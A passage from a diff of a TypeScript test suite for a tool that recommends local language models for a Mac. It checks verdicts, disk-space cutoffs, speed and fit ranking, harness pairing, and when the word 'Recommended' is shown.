freeDiskBytes: 12 * GB, freeDiskGb: formatGb(12 * GB) }); + const hw = mac(32, 'Apple M4', { freeDiskBytes: 12 * GB, freeDiskGb: formatGb(12 * GB) }); const vars = recommend(hw, STOCK, ALL_INSTALLED).headline.vars as Record<string, string>; expect(vars).toEqual({ download: '6.6', reserve: '10.7', free: '12.0', missing: '5.3' }); expect(vars.reserve).toBe(formatGb(DISK_HEADROOM_BYTES)); @@ -895,11 +1099,11 @@ describe('verdict none', () => { ]); }); - it('turns on 0.4 GB of disk on the real MacBook without calling it a small-model Mac', async () => { - // The cut for the 35B-A3B: 22,621,314,161 + 10 GiB = 33,358,732,401 bytes free. - const macbook = await realMac(MACBOOK_SYSCTL, 890_926_084); + it('turns on 0.8 GB of disk on the real MacBook without calling it a small-model Mac', async () => { + // The cut for the 35B-A3B: its real download of 23,105,798,956 + 10 GiB = 33,843,217,196 bytes free. + const hw = await macbook(); const withFree = (bytes: number): HardwareFacts => ({ - ...macbook, + ...hw, freeDiskBytes: bytes, freeDiskGb: formatGb(bytes), }); @@ -907,20 +1111,22 @@ describe('verdict none', () => { const enough = recommend(withFree(34 * GB), STOCK, ALL_INSTALLED); expect(enough.verdict).toBe('ok'); expect(enough.pick?.modelId).toBe('qwen3.6:35b-a3b'); - expect(enough.notes).toEqual([{ text: LOCAL_MODEL_LABELS.noteUntested }]); + expect(enough.notes).toEqual([]); const short = recommend(withFree(33 * GB), STOCK, ALL_INSTALLED); expect(short.verdict).toBe('ok'); + // The tested model has no room, so nothing here is "Recommended". expect(short.headline.text).toBe(LOCAL_MODEL_LABELS.headlineOk); expect(short.pick?.modelId).toBe('qwen3.5:9b-q8_0'); expect(order(short)).not.toContain('qwen3.6:35b-a3b@131072'); expect(short.notes).toEqual([ { text: LOCAL_MODEL_LABELS.noteSmallPick }, - { text: LOCAL_MODEL_LABELS.noteDiskDropped, vars: { model: 'Qwen3.6 35B-A3B', missing: '0.4' } }, + { text: LOCAL_MODEL_LABELS.noteDiskDropped, vars: { model: 'Qwen3.6 35B-A3B', missing: '0.8' } }, { text: LOCAL_MODEL_LABELS.noteUntested }, ]); // The exact cut: one byte decides, and the note appears with the first missing byte. - const cut = 22_621_314_161 + DISK_HEADROOM_BYTES; + const cut = 23_105_798_956 + DISK_HEADROOM_BYTES; + expect(cut).toBe(33_843_217_196); expect(recommend(withFree(cut), STOCK, ALL_INSTALLED).pick?.modelId).toBe('qwen3.6:35b-a3b'); expect(recommend(withFree(cut - 1), STOCK, ALL_INSTALLED).pick?.modelId).toBe('qwen3.5:9b-q8_0'); }); @@ -948,9 +1154,9 @@ describe('verdict none', () => { it('allows a download that leaves exactly 10 GiB', () => { const exact = STOCK.models[0].bytes + DISK_HEADROOM_BYTES; expect(DISK_HEADROOM_BYTES).toBe(10 * GIB); - const fits = recommend(mac(24, 'Apple M4', { freeDiskBytes: exact }), STOCK, ALL_INSTALLED); + const fits = recommend(mac(32, 'Apple M4', { freeDiskBytes: exact }), STOCK, ALL_INSTALLED); expect(fits.pick?.modelId).toBe('qwen3.5:9b'); - const short = recommend(mac(24, 'Apple M4', { freeDiskBytes: exact - 1 }), STOCK, ALL_INSTALLED); + const short = recommend(mac(32, 'Apple M4', { freeDiskBytes: exact - 1 }), STOCK, ALL_INSTALLED); expect(short.reason).toBe('disk'); }); @@ -973,12 +1179,12 @@ describe('verdict none', () => { }); }); -// ---------- 4. Verdicts, ranking, harnesses, tested ---------- +// ---------- 4. Verdicts, ranking, harnesses, tested, rows ---------- describe('verdict limited', () => { it('is the answer when no model that fits has 12 billion parameters or more', () => { expect(LIMITED_BELOW_PARAMS_B).toBe(12); - const result = recommend(mac(24, 'Apple M4'), STOCK, ALL_INSTALLED); + const result = recommend(mac(32, 'Apple M4'), STOCK, ALL_INSTALLED); expect(result.verdict).toBe('limited'); expect(result.reason).toBeUndefined(); expect(result.pick).toMatchObject({ modelId: 'qwen3.5:9b', paramsB: 9, context: 65536, fit: 'good' }); @@ -988,11 +1194,16 @@ describe('verdict limited', () => { expect(result.notes).toEqual([{ text: 'Not yet tested by us on a Mac like this.' }]); }); - it('holds for a tight fit too (18 GB)', () => { - const result = recommend(mac(18, 'Apple M3 Pro'), STOCK, ALL_INSTALLED); + it('holds when the pick is a tight fit too (32 GB with a fast chip)', () => { + const result = recommend(mac(32, 'Apple M1 Max'), STOCK, ALL_INSTALLED); expect(result.verdict).toBe('limited'); - expect(result.pick).toMatchObject({ modelId: 'qwen3.5:9b', fit: 'tight', fitLabel: 'Tight', budgetShare: 0.873 }); - expect(result.alternatives).toEqual([]); + expect(result.pick).toMatchObject({ + modelId: 'qwen3.5:9b-q8_0', + fit: 'tight', + fitLabel: 'Tight', + budgetShare: 0.956, + }); + expect(result.alternatives.map((c) => c.modelId)).toEqual(['qwen3.5:9b']); }); it('draws the line at 12 billion: 11.9 is limited, 12 is ok', () => { @@ -1005,11 +1216,14 @@ describe('verdict limited', () => { }); it('is about the MAC, not the pick: a larger model further down the list lifts it', () => { - // 32 GB: the 20B fits only as Tight, so a 9B is the pick. The Mac can still run a 20B, so - // "This Mac can run a small model" would be false of it. - const result = recommend(mac(32, 'Apple M4'), STOCK, ALL_INSTALLED); - expect(result.pick).toMatchObject({ modelId: 'qwen3.5:9b', paramsB: 9 }); - expect(result.alternatives.map((c) => [c.modelId, c.fit])).toContainEqual(['gpt-oss:20b', 'tight']); + // 36 GB: the 20B fits as Tight and has no speed figure, so a 9B is the pick. The Mac can + // still run a 20B, so "This Mac can run a small model" would be false of it. + const result = recommend(mac(36, 'Apple M4 Max'), STOCK, ALL_INSTALLED); + expect(result.pick).toMatchObject({ modelId: 'qwen3.5:9b-q8_0', paramsB: 9, fit: 'good', speed: 'ok' }); + expect(result.alternatives.map((c) => [c.modelId, c.fit, c.speed])).toEqual([ + ['qwen3.5:9b', 'good', 'ok'], + ['gpt-oss:20b', 'tight', 'unknown'], + ]); expect(result.verdict).toBe('ok'); expect(result.headline).toEqual({ text: 'Best fit for this Mac' }); // The pick is still called what it is. @@ -1021,30 +1235,16 @@ describe('verdict limited', () => { ]); }); - it('does not tell a 36 GB Mac it is a small-model Mac above a list of 20B, 27B and 35B models', () => { - const result = recommend(mac(36, 'Apple M4 Max'), STOCK, ALL_INSTALLED); - expect(result.pick).toMatchObject({ modelId: 'qwen3.5:9b-q8_0', fit: 'good', speed: 'ok' }); - expect(result.alternatives.map((c) => [c.modelId, c.fit, c.speed])).toEqual([ - ['qwen3.5:9b', 'good', 'ok'], - ['gpt-oss:20b', 'good', 'unknown'], - // Both Tight and fast enough: the higher model rank first. - ['qwen3.8:27b', 'tight', 'ok'], - ['qwen3.6:35b-a3b', 'tight', 'ok'], - ]); - expect(result.verdict).toBe('ok'); - expect(result.headline.text).not.toBe(LOCAL_MODEL_LABELS.headlineLimited); - expect(result.notes[0]).toEqual({ text: LOCAL_MODEL_LABELS.noteSmallPick }); - }); - it('does not depend on whether the chip is in the chips table', () => { - // Knowing the chip must not lower the verdict: before, a known chip made the 9B win on - // speed and the answer limited, while an unknown chip got `ok` with the 20B. - for (const soldGb of [32, 36]) { - const known = recommend(mac(soldGb, 'Apple M4 Max'), STOCK, ALL_INSTALLED); - const unknown = recommend(mac(soldGb, 'Apple M6'), STOCK, ALL_INSTALLED); - expect([soldGb, known.verdict]).toEqual([soldGb, unknown.verdict]); - expect(known.verdict).toBe('ok'); - } + // Knowing the chip must not change the verdict: it is about what fits, not about speed. + const verdicts = [32, 36].map((soldGb) => [ + recommend(mac(soldGb, 'Apple M4 Max'), STOCK, ALL_INSTALLED).verdict, + recommend(mac(soldGb, 'Apple M6'), STOCK, ALL_INSTALLED).verdict, + ]); + expect(verdicts).toEqual([ + ['limited', 'limited'], + ['ok', 'ok'], + ]); }); it('is limited exactly when nothing with 12 billion parameters fits, on every Mac of the sweep', () => { @@ -1055,7 +1255,7 @@ describe('verdict limited', () => { const largeFits = STOCK.models.some( (m) => m.paramsB >= LIMITED_BELOW_PARAMS_B && - m.contexts.some((ctx) => ctx >= 65536 && needBytes(m, ctx, STOCK, hw) / budget <= FIT_TIGHT_MAX_SHARE) + m.contexts.some((ctx) => ctx >= 65536 && needBytes(m, ctx) / budget <= FIT_TIGHT_MAX_SHARE) ); expect([hw.memClassGb, hw.chip, result.verdict]).toEqual([hw.memClassGb, hw.chip, largeFits ? 'ok' : 'limited']); // The small-pick note: under `ok` only, and exactly when the pick is small. @@ -1121,7 +1321,7 @@ describe('speed', () => { // 48 GB: five models fit, so all of them are listed and gpt-oss:20b is among them. for (const chip of ['Apple M1', 'Apple M4 Max', 'Apple M5 Ultra']) { const result = recommend(mac(48, chip), STOCK, ALL_INSTALLED); - const gptOss = [result.pick, ...result.alternatives].find((c) => c?.modelId === 'gpt-oss:20b'); + const gptOss = rows(result).find((c) => c.modelId === 'gpt-oss:20b'); expect(gptOss, chip).toMatchObject({ speed: 'unknown', speedLabel: 'Speed unknown' }); expect(gptOss).not.toHaveProperty('tokensPerSecond'); } @@ -1130,7 +1330,7 @@ describe('speed', () => { it('is unknown for every model on a chip that is in no chips row: no bandwidth is guessed', () => { for (const chip of ['Apple M6', 'Apple M6 Pro', 'Apple M10', 'Some Future Chip']) { const result = recommend(mac(64, chip), STOCK, ALL_INSTALLED); - for (const candidate of [result.pick, ...result.alternatives]) { + for (const candidate of rows(result)) { expect(candidate, chip).toMatchObject({ speed: 'unknown', speedLabel: 'Speed unknown' }); expect(candidate).not.toHaveProperty('tokensPerSecond'); } @@ -1139,11 +1339,32 @@ describe('speed', () => { const result = recommend(without(mac(64, 'x'), 'chip'), STOCK, ALL_INSTALLED); expect(result.pick?.speed).toBe('unknown'); }); + + it('is the speed that was measured, for a row tested on a Mac like this', () => { + const entry = (tokensPerSecond?: number): TestedOn => ({ + chip: 'Apple M4 Max', + memGb: 128, + cli: 'alpha', + date: '2026-11-06', + ...(tokensPerSecond !== undefined ? { tokensPerSecond } : {}), + }); + const pickOf = (tested: TestedOn[]): Candidate | undefined => + recommend(HUNDRED_GIB_MAC, catalogOf([model('probe:1', { speedPer100Gbps: 5, tested })]), [fact('alpha')]).pick; + // The estimate: 5 x 4. + expect(pickOf([])).toMatchObject({ tested: false, tokensPerSecond: 20 }); + // The measurement replaces it, and is graded like any speed. + expect(pickOf([entry(33.33)])).toMatchObject({ tested: true, speed: 'ok', tokensPerSecond: 33.3 }); + expect(pickOf([entry(4)])).toMatchObject({ tested: true, speed: 'slow', speedLabel: 'Slow', tokensPerSecond: 4 }); + // A tested entry without a speed keeps the estimate. + expect(pickOf([entry()])).toMatchObject({ tested: true, tokensPerSecond: 20 }); + // An entry for another Mac changes nothing. + expect(pickOf([{ ...entry(99), memGb: 64 }])).toMatchObject({ tested: false, tokensPerSecond: 20 }); + }); }); describe('the ranking', () => { it('puts ok before unknown before slow, ahead of the model rank', () => { - // Three models that fit equally well. The ranks run AGAINST the speed. + // Three models that fit. The ranks run AGAINST the speed. const catalog = catalogOf([ model('slow-top:1', { rank: 3, speedPer100Gbps: 1 }), model('unknown-mid:1', { rank: 2 }), @@ -1151,7 +1372,7 @@ describe('the ranking', () => { ]); const result = recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')]); expect(order(result)).toEqual(['ok-low:1@1024', 'unknown-mid:1@1024', 'slow-top:1@1024']); - expect([result.pick, ...result.alternatives].map((c) => c?.speed)).toEqual(['ok', 'unknown', 'slow']); + expect(rows(result).map((c) => c.speed)).toEqual(['ok', 'unknown', 'slow']); }); it('ranks by model rank alone when every speed is unknown', () => { @@ -1169,7 +1390,7 @@ describe('the ranking', () => { it('ranks an unknown speed below a known ok one and above a slow one, on a real tier', () => { // 48 GB, M4 Pro: three ok models, then gpt-oss:20b (unknown), then the 27B (slow). const result = recommend(mac(48, 'Apple M4 Pro'), STOCK, ALL_INSTALLED); - expect([result.pick, ...result.alternatives].map((c) => [c?.modelId, c?.speed])).toEqual([ + expect(rows(result).map((c) => [c.modelId, c.speed])).toEqual([ ['qwen3.6:35b-a3b', 'ok'], ['qwen3.5:9b-q8_0', 'ok'], ['qwen3.5:9b', 'ok'], @@ -1178,13 +1399,27 @@ describe('the ranking', () => { ]); }); - it('puts a good fit before a tight one, ahead of speed and rank', () => { + it('does not sort by the fit grade: a tight model of the higher rank stays above a good one', () => { + // The need is the peak at the full context, so a tight fit is a model that runs. Both are + // equally fast here; the rank decides, and the row says Tight. const catalog = catalogOf([ - modelNeeding('tight-fast-top:1', 0.9 * HUNDRED_GIB, { rank: 9, speedPer100Gbps: 20 }), - modelNeeding('good-slow-low:1', 0.5 * HUNDRED_GIB, { rank: 1, speedPer100Gbps: 1 }), + modelNeeding('tight-top:1', 0.9 * HUNDRED_GIB, { rank: 9, speedPer100Gbps: 5 }), + modelNeeding('good-low:1', 0.5 * HUNDRED_GIB, { rank: 1, speedPer100Gbps: 5 }), ]); const result = recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')]); - expect(order(result)).toEqual(['good-slow-low:1@1024', 'tight-fast-top:1@1024']); + expect(order(result)).toEqual(['tight-top:1@1024', 'good-low:1@1024']); + expect(rows(result).map((c) => c.fit)).toEqual(['tight', 'good']); + }); + + it('still puts the speed first: a good and fast model beats a tight and slow one of the higher rank', () => { + const catalog = catalogOf([ + modelNeeding('tight-slow-top:1', 0.9 * HUNDRED_GIB, { rank: 9, speedPer100Gbps: 1 }), + modelNeeding('good-fast-low:1', 0.5 * HUNDRED_GIB, { rank: 1, speedPer100Gbps: 5 }), + ]); + expect(order(recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')]))).toEqual([ + 'good-fast-low:1@1024', + 'tight-slow-top:1@1024', + ]); }); it('takes the higher model rank among equals', () => { @@ -1196,33 +1431,42 @@ describe('the ranking', () => { ]); }); - it('takes the larger context of one model when both fit equally well', () => { - // 1 KiB per token: 4 GiB of KV cache at 4,194,304 tokens, still a good fit. - const catalog = catalogOf([model('probe:1', { kvBytesPerToken: 1024, contexts: [4_194_304, 1024] })]); + it('takes the larger context of one model when both fit', () => { + // 1 KiB held per token: 4 GiB at 4,194,304 tokens, still a good fit. + const catalog = catalogOf([model('probe:1', { heldBytesPerToken: 1024, contexts: [4_194_304, 1024] })]); const result = recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')]); expect(result.pick?.context).toBe(4_194_304); expect(result.alternatives).toEqual([]); }); - it('steps a model down to the context at which it fits well', () => { - // Good at the small context, tight at the large one: the good one is that model's entry. + it('offers a model at the largest context it fits at, also when that fit is tight', () => { + // Good at the small context (0.8), tight at the large one (80 + 8 GiB = 0.88): the large one. const catalog = catalogOf([ - model('probe:1', { bytes: 80 * GIB, kvBytesPerToken: 1024, contexts: [8_388_608, 1024] }), + model('probe:1', { bytes: 80 * GIB, heldBytesPerToken: 1024, contexts: [8_388_608, 1024] }), ]); const result = recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')]); - expect(result.pick).toMatchObject({ context: 1024, fit: 'good' }); + expect(result.pick).toMatchObject({ context: 8_388_608, fit: 'tight', budgetShare: 0.88 }); + }); + + it('steps a model down only when the larger context does not fit at all', () => { + // 92 + 8 GiB is the whole budget (out); at 1024 tokens it is 0.92. + const catalog = catalogOf([ + model('probe:1', { bytes: 92 * GIB, heldBytesPerToken: 1024, contexts: [8_388_608, 1024] }), + ]); + const result = recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')]); + expect(result.pick).toMatchObject({ context: 1024, fit: 'tight', budgetShare: 0.92 }); }); it('lists each model once, never the pick again, and at most four alternatives', () => { expect(MAX_ALTERNATIVES).toBe(4); - // Six models fit a 128 GB Mac; the pick plus four are shown. + // Seven models fit a 128 GB Mac; the pick plus four are shown. const result = recommend(mac(128, 'Apple M5 Ultra'), STOCK, ALL_INSTALLED); expect(result.alternatives).toHaveLength(4); - const ids = [result.pick, ...result.alternatives].map((c) => c?.modelId); + const ids = rows(result).map((c) => c.modelId); expect(new Set(ids).size).toBe(ids.length); for (const hw of SWEEP) { const swept = recommend(hw, STOCK, ALL_INSTALLED); - const sweptIds = [swept.pick, ...swept.alternatives].filter(Boolean).map((c) => c?.modelId); + const sweptIds = rows(swept).map((c) => c.modelId); expect(new Set(sweptIds).size).toBe(sweptIds.length); expect(swept.alternatives.length).toBeLessThanOrEqual(MAX_ALTERNATIVES); } @@ -1237,21 +1481,23 @@ describe('harnesses', () => { expect(gated).toEqual(['pi']); for (const swept of SWEEP) { const result = recommend(swept, STOCK, ALL_INSTALLED); - for (const candidate of [result.pick, ...result.alternatives]) { - if (candidate) expect(gated).not.toContain(candidate.cli); + for (const candidate of rows(result)) { + expect(gated).not.toContain(candidate.cli); + expect(candidate.harnesses.map((h) => h.cli).some((cli) => gated.includes(cli))).toBe(false); } } - // 16 GB: the gated harness alone works at 32768 tokens, where the 9B would fit. Still none. - expect(recommend(mac(16, 'Apple M4'), STOCK, ALL_INSTALLED).verdict).toBe('none'); + // 24 GB: the gated harness alone works at 32768 tokens, where the 9B would fit. Still none. + expect(recommend(mac(24, 'Apple M4'), STOCK, ALL_INSTALLED).verdict).toBe('none'); }); it('never offers a context below the minimum of the harness', () => { for (const swept of SWEEP) { const result = recommend(swept, STOCK, ALL_INSTALLED); - for (const candidate of [result.pick, ...result.alternatives]) { - if (!candidate) continue; - const row = STOCK.harnesses.find((harness) => harness.cli === candidate.cli); - expect(candidate.context).toBeGreaterThanOrEqual(row?.minContext ?? Number.POSITIVE_INFINITY); + for (const candidate of rows(result)) { + for (const harness of candidate.harnesses) { + const row = STOCK.harnesses.find((entry) => entry.cli === harness.cli); + expect(candidate.context).toBeGreaterThanOrEqual(row?.minContext ?? Number.POSITIVE_INFINITY); + } } } }); @@ -1287,6 +1533,7 @@ describe('harnesses', () => { // OpenCode refuses the 27B: it goes with the next harness. const one = recommend(hw, STOCK, [fact('opencode', { acceptsModelId: refusing27b }), fact('claude')]); expect(one.pick).toMatchObject({ modelId: 'qwen3.8:27b', cli: 'claude' }); + expect(one.pick?.harnesses.map((h) => h.cli)).toEqual(['claude']); expect(one.alternatives[0]).toMatchObject({ modelId: 'qwen3.6:35b-a3b', cli: 'opencode' }); // Both refuse it: the model is not offered. const both = recommend(hw, STOCK, [ @@ -1309,48 +1556,77 @@ describe('harnesses', () => { expect(recommend(hw, STOCK, [throwing]).reason).toBe('no-harness'); }); - it('puts the fit and the model before the harness rank', () => { + it('puts the model before the harness rank, and pairs it with the best harness that can run it', () => { // `big` needs a large context and is the higher-ranked harness; `small` works from 1024. const harnesses: LocalHarnessEntry[] = [ { cli: 'big', minContext: 8_388_608, rank: 2 }, { cli: 'small', minContext: 1024, rank: 1 }, ]; - const tightAtLarge = catalogOf( - [model('probe:1', { bytes: 80 * GIB, kvBytesPerToken: 1024, contexts: [8_388_608, 1024] })], + // Fits at both contexts (tight at the large one): the higher-ranked harness, at the + // context it needs. Both harnesses can run it there. + const fitsAtLarge = catalogOf( + [model('probe:1', { bytes: 80 * GIB, heldBytesPerToken: 1024, contexts: [8_388_608, 1024] })], harnesses ); - // Tight at the context `big` needs, good at the small one: the good fit with `small` wins. - expect(recommend(HUNDRED_GIB_MAC, tightAtLarge, [fact('big'), fact('small')]).pick).toMatchObject({ - cli: 'small', - context: 1024, - fit: 'good', - }); - // Good at both: the higher-ranked harness wins, at the context it needs. - const goodAtBoth = catalogOf( - [model('probe:1', { bytes: 10 * GIB, kvBytesPerToken: 1024, contexts: [8_388_608, 1024] })], + const large = recommend(HUNDRED_GIB_MAC, fitsAtLarge, [fact('big'), fact('small')]).pick; + expect(large).toMatchObject({ cli: 'big', context: 8_388_608, fit: 'tight' }); + expect(large?.harnesses.map((h) => h.cli)).toEqual(['big', 'small']); + // Does not fit at the large context: only `small` can run it, at the small one. + const onlyAtSmall = catalogOf( + [model('probe:1', { bytes: 92 * GIB, heldBytesPerToken: 1024, contexts: [8_388_608, 1024] })], harnesses ); - expect(recommend(HUNDRED_GIB_MAC, goodAtBoth, [fact('big'), fact('small')]).pick).toMatchObject({ - cli: 'big', - context: 8_388_608, - }); + const small = recommend(HUNDRED_GIB_MAC, onlyAtSmall, [fact('big'), fact('small')]).pick; + expect(small).toMatchObject({ cli: 'small', context: 1024 }); + expect(small?.harnesses.map((h) => h.cli)).toEqual(['small']); + // A higher-ranked MODEL with the lower-ranked harness still comes before a lower-ranked + // model with the higher-ranked harness. + const twoModels = catalogOf( + [ + model('top:1', { rank: 2, contexts: [1024] }), + model('low:1', { rank: 1, heldBytesPerToken: 1024, contexts: [8_388_608] }), + ], + harnesses + ); + expect( + rows(recommend(HUNDRED_GIB_MAC, twoModels, [fact('big'), fact('small')])).map((c) => [c.modelId, c.cli]) + ).toEqual([ + ['top:1', 'small'], + ['low:1', 'big'], + ]); }); }); describe('the tested flag and the word "Recommended"', () => { - const testedOn = (chip: string, memGb: number, cli: string) => ({ chip, memGb, cli, date: '2026-11-06' }); + const testedOn = (chip: string, memGb: number, cli: string): TestedOn => ({ chip, memGb, cli, date: '2026-11-06' }); + /** The untested catalogue with one tested entry on the dense 27B. */ const with27bTested = (chip: string, memGb: number, cli: string): LocalModelCatalog => stockWith((catalog) => { - const row = catalog.models.find((m) => m.id === 'qwen3.8:27b') as LocalModelEntry; - row.tested = [testedOn(chip, memGb, cli)]; + for (const row of catalog.models) row.tested = []; + (catalog.models.find((m) => m.id === 'qwen3.8:27b') as LocalModelEntry).tested = [testedOn(chip, memGb, cli)]; }); - it('is off for every model of the stock catalogue, so "Recommended" is never said today', () => { - for (const hw of SWEEP) { + it('is on for exactly one kind of Mac in the stock catalogue: an Apple M5 Pro with 48 GB', () => { + expect(STOCK.models.flatMap((m) => m.tested.map((entry) => [m.id, entry.chip, entry.memGb, entry.cli]))).toEqual([ + ['qwen3.6:35b-a3b', 'Apple M5 Pro', 48, 'opencode'], + ]); + + const tested = recommend(mac(48, 'Apple M5 Pro'), STOCK, ALL_INSTALLED); + expect(tested.pick).toMatchObject({ modelId: 'qwen3.6:35b-a3b', cli: 'opencode', tested: true }); + expect(tested.headline.text).toBe('Recommended for this Mac'); + + // The same chip with another memory size, and the same memory size with another chip. + const others = [ + ...SWEEP, + mac(24, 'Apple M5 Pro'), + mac(64, 'Apple M5 Pro'), + mac(48, 'Apple M4 Pro'), + mac(48, 'Apple M5 Max'), + mac(48, 'Apple M5'), + ]; + for (const hw of others) { const result = recommend(hw, STOCK, ALL_INSTALLED); - for (const candidate of [result.pick, ...result.alternatives]) { - if (candidate) expect(candidate.tested).toBe(false); - } + for (const candidate of rows(result)) expect(candidate.tested, `${hw.memClassGb} ${hw.chip}`).toBe(false); expect(stringsIn(result).join(' ')).not.toMatch(/recommended/i); if (result.verdict !== 'none') { // Always the last note; a small pick under `ok` has one more before it. @@ -1359,6 +1635,16 @@ describe('the tested flag and the word "Recommended"', () => { } }); + it('is off for the tested Mac when its harness is not the tested one', () => { + // The MacBook without OpenCode: the model is the same, the pair was not run by us. + const result = recommend(mac(48, 'Apple M5 Pro'), STOCK, [fact('claude')]); + expect(result.pick).toMatchObject({ modelId: 'qwen3.6:35b-a3b', cli: 'claude', tested: false }); + // So the speed is the estimate again, and nothing says "Recommended". + expect(result.pick?.tokensPerSecond).toBe(41.8); + expect(result.headline.text).toBe('Best fit for this Mac'); + expect(result.notes).toEqual([{ text: LOCAL_MODEL_LABELS.noteUntested }]); + }); + it('turns on "Recommended for this Mac" when the pick was tested on exactly such a Mac', () => { const result = recommend(mac(48, 'Apple M4 Max'), with27bTested('Apple M4 Max', 48, 'opencode'), ALL_INSTALLED); expect(result.verdict).toBe('ok'); @@ -1368,13 +1654,12 @@ describe('the tested flag and the word "Recommended"', () => { expect(result.notes).toEqual([]); }); - it('stays off when the chip, the memory size or the harness differs', () => { + it('stays off when the chip or the memory size differs', () => { const hw = mac(48, 'Apple M4 Max'); const cases: LocalModelCatalog[] = [ with27bTested('Apple M4 Pro', 48, 'opencode'), with27bTested('Apple M4', 48, 'opencode'), with27bTested('Apple M4 Max', 64, 'opencode'), - with27bTested('Apple M4 Max', 48, 'claude'), ]; for (const catalog of cases) { const result = recommend(hw, catalog, ALL_INSTALLED); @@ -1384,47 +1669,283 @@ describe('the tested flag and the word "Recommended"', () => { } }); - it('follows the harness: tested with the second harness counts when that one is the pick', () => { + it('follows the tested harness: the pair that was run comes first, also against a higher-ranked harness', () => { + // Tested with the second harness. Both are installed: the tested pair is the pick, and + // the other harness stays selectable. const catalog = with27bTested('Apple M4 Max', 48, 'claude'); - const result = recommend(mac(48, 'Apple M4 Max'), catalog, [fact('claude')]); - expect(result.pick).toMatchObject({ cli: 'claude', tested: true }); + const result = recommend(mac(48, 'Apple M4 Max'), catalog, ALL_INSTALLED); + expect(result.pick).toMatchObject({ modelId: 'qwen3.8:27b', cli: 'claude', tested: true }); + expect(result.pick?.harnesses.map((h) => h.cli)).toEqual(['claude', 'opencode']); expect(result.headline.text).toBe('Recommended for this Mac'); + // Without the tested harness on the machine the pair is another one, and untested. + expect(recommend(mac(48, 'Apple M4 Max'), catalog, [fact('opencode')]).pick).toMatchObject({ + cli: 'opencode', + tested: false, + }); }); - it('does not change the ranking: a tested model further down stays an alternative', () => { - // On the M4 Pro the pick is the 35B-A3B. A tested 27B is flagged in the list, no more. - const result = recommend(mac(48, 'Apple M4 Pro'), with27bTested('Apple M4 Pro', 48, 'opencode'), ALL_INSTALLED); - expect(result.pick).toMatchObject({ modelId: 'qwen3.6:35b-a3b', tested: false }); - expect(result.headline.text).toBe('Best fit for this Mac'); - expect(result.notes).toEqual([{ text: LOCAL_MODEL_LABELS.noteUntested }]); - expect(result.alternatives.find((c) => c.modelId === 'qwen3.8:27b')?.tested).toBe(true); + it('ranks a tested model first: a measurement on this Mac beats the estimates of the others', () => { + // On the M4 Pro the untested pick is the 35B-A3B, because the 27B is estimated as slow. + const hw = mac(48, 'Apple M4 Pro'); + expect(recommend(hw, UNTESTED, ALL_INSTALLED).pick?.modelId).toBe('qwen3.6:35b-a3b'); + // Once the 27B was run on such a Mac, it is the pick, and the 35B-A3B is the first alternative. + const result = recommend(hw, with27bTested('Apple M4 Pro', 48, 'opencode'), ALL_INSTALLED); + expect(result.pick).toMatchObject({ modelId: 'qwen3.8:27b', tested: true, speed: 'slow' }); + expect(result.headline.text).toBe('Recommended for this Mac'); + expect(result.notes).toEqual([]); + expect(result.alternatives[0]).toMatchObject({ modelId: 'qwen3.6:35b-a3b', tested: false }); }); it('never says "Recommended" for a limited answer, tested or not', () => { const catalog = stockWith((stock) => { const row = stock.models.find((m) => m.id === 'qwen3.5:9b') as LocalModelEntry; - row.tested = [testedOn('Apple M4', 24, 'opencode')]; + row.tested = [testedOn('Apple M4', 32, 'opencode')]; }); - const result = recommend(mac(24, 'Apple M4'), catalog, ALL_INSTALLED); + const result = recommend(mac(32, 'Apple M4'), catalog, ALL_INSTALLED); expect(result.verdict).toBe('limited'); expect(result.pick?.tested).toBe(true); expect(result.headline.text).toBe(LOCAL_MODEL_LABELS.headlineLimited); - expect(stringsIn(result).join(' ')).not.toMatch(/recommended/i); + expect(stringsIn(result.headline).join(' ')).not.toMatch(/recommended/i); // It WAS tested, so the "not yet tested" note would be false. expect(result.notes).toEqual([]); }); }); +describe('what each row of the chooser carries', () => { + describe('the tag', () => { + it('is "Best fit" on an untested pick and the first kind that applies on the others', () => { + // 48 GB, M4 Max: the 27B is the pick; the 35B-A3B is tight; the two 9B rows are small; + // gpt-oss:20b is none of these and has no tag. + const result = recommend(mac(48, 'Apple M4 Max'), STOCK, ALL_INSTALLED); + expect(rows(result).map((c) => [c.modelId, c.tag ?? null])).toEqual([ + ['qwen3.8:27b', { kind: 'best', label: 'Best fit' }], + ['qwen3.6:35b-a3b', { kind: 'tight', label: 'Tight' }], + ['qwen3.5:9b-q8_0', { kind: 'small', label: 'Small model' }], + ['qwen3.5:9b', { kind: 'small', label: 'Small model' }], + ['gpt-oss:20b', null], + ]); + expect(result.alternatives[3]).not.toHaveProperty('tag'); + }); + + it('says "Best fit" on a pick that is tight: the memory bar shows how full it is', () => { + const result = recommend(mac(48, 'Apple M4 Pro'), STOCK, ALL_INSTALLED); + expect(result.pick).toMatchObject({ fit: 'tight', tag: { kind: 'best', label: 'Best fit' } }); + }); + + it('says "Tested on a Mac like this" in place of every other tag', () => { + // The MacBook's pick is tight and the pick, and says neither. + expect(recommend(mac(48, 'Apple M5 Pro'), STOCK, ALL_INSTALLED).pick?.tag).toEqual({ + kind: 'tested', + label: 'Tested on a Mac like this', + }); + // Two tested rows: the second is an alternative and says so too. + const entry: TestedOn = { chip: 'Apple M4 Max', memGb: 128, cli: 'alpha', date: '2026-11-06' }; + const catalog = catalogOf([ + model('first:1', { rank: 2, tested: [entry] }), + modelNeeding('second:1', 0.9 * HUNDRED_GIB, { rank: 1, paramsB: 9, speedPer100Gbps: 1, tested: [entry] }), + ]); + expect(rows(recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')])).map((c) => c.tag?.kind)).toEqual([ + 'tested', + 'tested', + ]); + }); + + it('orders the kinds: tight before slow before small', () => { + const tagOfSecond = (overrides: Partial<LocalModelEntry>, need = 0.5 * HUNDRED_GIB): string | undefined => { + const catalog = catalogOf([ + model('pick:1', { rank: 2, speedPer100Gbps: 5 }), + modelNeeding('second:1', need, { rank: 1, speedPer100Gbps: 5, ...overrides }), + ]); + return recommend(HUNDRED_GIB_MAC, catalog, [fact('alpha')]).alternatives[0].tag?.kind; + }; + // Tight, slow and small at once. + expect(tagOfSecond({ speedPer100Gbps: 1, paramsB: 9 }, 0.9 * HUNDRED_GIB)).toBe('tight'); + // Slow and small. + expect(tagOfSecond({ speedPer100Gbps: 1, paramsB: 9 })).toBe('slow'); + // Small only. + expect(tagOfSecond({ paramsB: 9 